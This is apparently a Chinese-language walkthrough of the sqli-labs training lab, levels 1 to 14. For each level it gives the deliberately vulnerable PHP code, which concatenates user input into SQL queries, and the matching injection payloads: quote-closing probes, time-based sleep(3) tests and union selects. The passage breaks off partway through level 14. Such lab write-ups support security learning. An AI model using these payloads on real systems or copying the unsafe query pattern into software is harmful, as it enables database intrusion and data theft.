本文使用的工具有Navicat,phpstrom,小皮面板,至于安装方法这里不再描述可以,哔哩哔哩搜索一下即可
sqllabs下载地址:https://github.com/Audi-1/sqli-labs
安装方法:解压到小皮面板的www的目录下,在sqllabs的sql-connections目录下的db-creds.inc文件,下图划横线位置设置自己的密码即可,
开启小皮面板的apache以及mysql服务,打开相应的界面
点击横线位置即可,
出现该界面,即为设置成功
less-1
代码简写
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
从代码角度而言,可以很清楚的看出由单引号闭合,直接使用sql注入的一半流程即可,查询字段,判断回显,数据库——表——列,即可 为 ?id=1' and 1=1 --+
less-2
代码简写
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
相较于less1而言 ,这个查询语句中并没有单引号,所以直接拼接即可为 ?id=1 and 1=1 --+
less3
代码简写
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
相较于前两个而言id位置需要‘)闭合,为 ?id=1') and 1=1 --+
less4
代码简写
$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
相较于之前需要使用")闭合,为?id=1") and 1=1 --+
less5
代码简写
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
与less1相同,使用单引号进行闭合,当成功为you are in...
为 ?id=1’ and 1=1 --+ 所以只能够使用盲注,延时注入等
less6
代码简写
$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'You are in...........';
}else{
print_r(mysql_error());
}
与less5类似,均没有回显,闭合方式和less4一致,为?id=1" and 1=1 --+
less7
代码简写
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
print($sql);
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'You are in.... Use outfile......';
}
else
{
echo 'You have an error in your SQL syntax';
}
没有相关过滤机制,使用?id=1’)) and 1=1 --+ 闭合 注释
less8
代码简写
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'You are in...........';
}
else{
}
这个与less5相同,但是不能够使用报错注入,使用?id=1’ and sleep(3) --+
less9
代码简写
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'You are in...........';
}
else{
echo 'You are in...........';
}
同less8,使用?id=1' and sleep(3) --+
进行闭合
less10
代码简写
$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'You are in...........';
}
else
{
echo 'You are in...........';
}
同less9,无论查询结果如何都不会现在在页面,使用?id=1" and sleep(3) --+
进行闭合测试
less11
代码简写
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
print_r($row);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else{
}
使用post接受数据,相较而言,和之前的less1并没有太大的区别,使用username='admin' union select 1,DATABASE() --+
闭合即可
less12
代码简写
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
print_r(mysql_error());
}
参数方面使用")闭合,参数为 uname=admin") union select 1,2 --
&passwd=admin
less13
代码简写
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<img src="../images/flag.jpg" />';
}
else
{
print_r(mysql_error());
echo '<img src="../images/slap.jpg" />';
}
}
闭合方法:uname=admin') union select 1,2 --
less14
代码简写
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<img src="../images/flag.jpg" />';
}
else